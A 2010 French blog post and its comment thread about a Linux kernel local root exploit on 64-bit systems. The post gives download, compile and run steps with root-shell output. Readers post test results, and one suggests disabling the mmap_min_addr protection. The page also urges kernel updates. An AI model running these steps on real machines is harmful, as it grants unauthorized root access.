Local Root Exploit pour certaines versions 64 bits de Linux

Par Sébastien Bilbeau, publié le 18 septembre 2010

Black Hat
Une nouvelle faille de sécurité vient d'être découverte dans le noyau Linux et plus particulièrement dans le module de compatibilité 32-bit. L'exploit permet ainsi à un simple utilisateur de passer root sur une machine contenant une version 64 bits du noyau Linux. La seule solution pour contrer ce type d'attaque est de mettre à jour son système.

Voici un exemple d'utilisation de l'exploit :

wget www.tux-planet.fr/public/hack/exploits/kernel/robert-you-suck.c
gcc -o robert robert-you-suck.c

Ensuite, on exécutera ce dernier comme ceci :

./robert
resolved symbol commit_creds to 0xffffffff8108bd90
resolved symbol prepare_kernel_cred to 0xffffffff8108c170
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0

# id
uid=0(root) gid=0(root)

Pour ma part, j'ai testé avec succès cette méthode sur un live CD d'Ubuntu 10.04 en version 64 bits. Une liste complète des versions d'Ubuntu impactées est disponible ici.

La distribution Redhat RHEL 5 ne semble pas concernée par cette faille, d'après ce rapport de bug.

Autres articles du même sujet

21 Commentaires pour "Local Root Exploit pour certaines versions 64 bits de Linux"

Flux des commentaires de cet article Ajouter un commentaire

ça fonctionne à merveille sur archlinux

$ uname -a
Linux desktop 2.6.35-ARCH #1 SMP PREEMPT Fri Aug 27 17:14:28 CEST 2010 x86_64 Intel(R) Core(TM)2 Quad CPU Q9450 @ 2.66GHz GenuineIntel GNU/Linux

$ pacman -Qs kernel26
local/kernel26 2.6.35.4-1 (base)
The Linux Kernel and modules
local/kernel26-headers 2.6.35.4-1
Header files and scripts for building modules for kernel26
Répondre

wido , le 18 septembre 2010 à 09:07
Et ça fonctionne également sur Fedora.
Enfin tant que personne n'a un accès physique ou distant à la machine ça devrait aller.

Mais faut faire gaffe quand meme...
Répondre

Maniatux , le 18 septembre 2010 à 10:51
Merci @Wido et @Maniatux pour vos retours, donc cette faille touche la plupart des distributions Linux 64 bits, c'est plutôt flipant.

Va falloir mettre à jour vos systèmes, surtout les serveurs...
Répondre

pti-seb , le 18 septembre 2010 à 12:08
Humm, je reconfirme que ça fonctionne sous arch. Mais il y a déjà une mise à jour du kernel.

edit : ah non, c'est juste une mise à jour du paquet.
Répondre

erdnaxeli , le 18 septembre 2010 à 12:24
En tous les cas, au niveau du noyau Linux, les développeurs ont déjà soumis des patchs depuis le 14 septembre ici et là.
Répondre

pti-seb , le 18 septembre 2010 à 12:42
$ uname -a
Linux bidule 2.6.26-2-amd64 #1 SMP Tue Aug 31 09:11:22 UTC 2010 x86_64 GNU/Linux
$ cat /etc/debian_version
5.0.6

$ gcc -o robert robert-you-suck.c
$ ./robert
symbol table not available, aborting!
Process finished
$ id
uid=3221 gid=226 groupes=220

bizarre, si la faille est présente sur Ubuntu, j'aurai juré pouvoir la reproduire sous Debian
Répondre

ben , le 18 septembre 2010 à 13:15
@ben : le bout de code en question est le suivant :

commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("symbol table not available, aborting!\n");
exit(1);
}

prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("symbol table not available, aborting!\n");
exit(1);
}

Perso je n'y comprends pas grand chose, mais il suffit de savoir pourquoi il ne récupère pas la table des symbols et on saura pourquoi l'exploit ne marche pas sous ta Debian.
Répondre

pti-seb , le 18 septembre 2010 à 13:29
Hello,

Je viens de tester sous Centos 5 avec un accès local créer a cet effet et l'exploit ne fonctionne pas. ca m'arrange bien d'ailleurs ^^

sh-3.2$ uname --all
Linux localhost 2.6.30.4 #2 SMP Wed Jun 30 15:37:57 CEST 2010 x86_64 x86_64 x86_64 GNU/Linux

[18sept@srv50 ~]$ ls
robert robert-you-suck.c
[18sept@srv50 ~]$ ./robert
resolved symbol commit_creds to 0xffffffff8024e4e1
resolved symbol prepare_kernel_cred to 0xffffffff8024e6c7
mapping at 3f80000000
UID 500, EUID:500 GID:501, EGID:501
sh-3.2$ id
uid=500(18sept) gid=501(18sept) groupes=501(18sept)
sh-3.2$ ls /root
ls: /root: Permission non accordÃ©e

Max
Répondre

Max , le 18 septembre 2010 à 13:38
Merci pour la remarque pti-seb, j'ai fait la feignasse c'est samedi après tout!

commit_cred applique des autorisations à un processus (commit credentials), il semble que ce soit la valeur suivante dans sysctl.conf:
vm.mmap_min_addr = 4096
dont tu parlais dans un exploit root précédent qui me protège encore de celui-ci.
A confirmer ou infirmer.

ref:
http://blog.ksplice.com/tag/mmap/
Répondre

ben , le 18 septembre 2010 à 14:02
@ben : ah oui, maintenant que tu en parle cela me rappel que certains exploits ne fonctionne que si la valeure suivante est à zéro :

cat /proc/sys/vm/mmap_min_addr
0

Au pire si tu veux faire des tests en la changant cette dernière ::

echo 0 > /proc/sys/vm/mmap_min_addr

Répondre

pti-seb , le 18 septembre 2010 à 14:10
Testé sur Lucid X64 et ça ne fonctionne pas. Il y a eu une mise à jour du noyau hier soir.
Répondre

vikin , le 18 septembre 2010 à 14:18
J'ai eu une mise à jour du noyau sur ma Ubuntu 10.04 64b, et le prog ne prend plus les droits root

se7h@BlackPearl:~$ ./robert
resolved symbol commit_creds to 0xffffffff8108bdb0
resolved symbol prepare_kernel_cred to 0xffffffff8108c190
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
$ id
uid=1000(se7h) gid=1000(se7h) groupes=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(se7h)
$ ls /root
ls: impoossible d'ouvrir le répertoire /root: Permission non accordée
Répondre

Se7h , le 18 septembre 2010 à 15:25
Résolut également sur Archlinux

$ uname -a
Linux acezar-ini7 2.6.35-ARCH #1 SMP PREEMPT Fri Sep 17 17:49:54 CEST 2010 x86_64 Intel(R) Core(TM) i7 CPU 930 @ 2.80GHz GenuineIntel GNU/Linux

$ ./robert
resolved symbol commit_creds to 0xffffffff81077f70
resolved symbol prepare_kernel_cred to 0xffffffff810783b0
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
Répondre

Layer973 , le 18 septembre 2010 à 22:00
salut

testé sous ubuntu server 10.04, 64 bits, avec un noyau 2.6.32-22
la faille fonctionnait
après mise à jour en 2.6.32-24 ça ne fonctionne plus

par contre, sur un ubuntu server 9.10 en 2.6.31-20, ça ne marche pas
Répondre

Dju , le 19 septembre 2010 à 22:01
L'exploit marche très bien sur mon Ubuntu 10.04 :s.

puckel@totop ~ % uname -a
Linux puckel-laptop 2.6.32-24-generic #42-Ubuntu SMP Fri Aug 20 14:21:58 UTC 2010 x86_64 GNU/Linux
puckel@totop ~ % ./robert
resolved symbol commit_creds to 0xffffffff8108bd90
resolved symbol prepare_kernel_cred to 0xffffffff8108c170
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
# id
uid=0(root) gid=0(root)
Répondre

Puckel , le 20 septembre 2010 à 09:05
@pti-seb :
j'ai pu tester en modifiant la valeur de vm.mmap_min_addr à 0, l'exploit de fonctionne toujours pas,
va savoir pourquoi.
Répondre

ben , le 20 septembre 2010 à 09:42
@Puckel : oui, ton noyau est le 2.6.32-24 #42
le dernier en date est le 2.6.32-24 #43
met le à jour et plus de problème

au passage, voici le communiqué officiel d'ubuntu, qui indique quel kernel il faut installer pour être en sécurité: http://www.ubuntu.com/usn/usn-988-1
Répondre

dju , le 20 septembre 2010 à 13:10
et ce lien c'est un autre backdoor pour les 64 bits?
http://linux.slashdot.org/story/10/09/20/0217204/Linux-Kernel-Exploit-Busily-Rooting-64-Bit-Machines
Répondre

Anonyme , le 20 septembre 2010 à 14:15
Fonctionne sous OpenSuse aussi

yoda:~/Téléchargement> uname -a
Linux yoda 2.6.34.7-0.2-desktop #1 SMP PREEMPT 2010-09-14 14:21:06 +0200 x86_64 x86_64 x86_64 GNU/Linux
Répondre

vjousse , le 21 septembre 2010 à 00:23
Merci de l'info !
Et hop faille corrigée sous Gentoo : 2.6.35-gentoo-r8 (r7 aussi)
Répondre

Droïde , le 21 septembre 2010 à 20:13
J'ai retenté aujourd'hui sur ma Fedora 64bits.
C'est bon, ça ne fonctionne plus.
Répondre

Maniatux , le 26 septembre 2010 à 11:22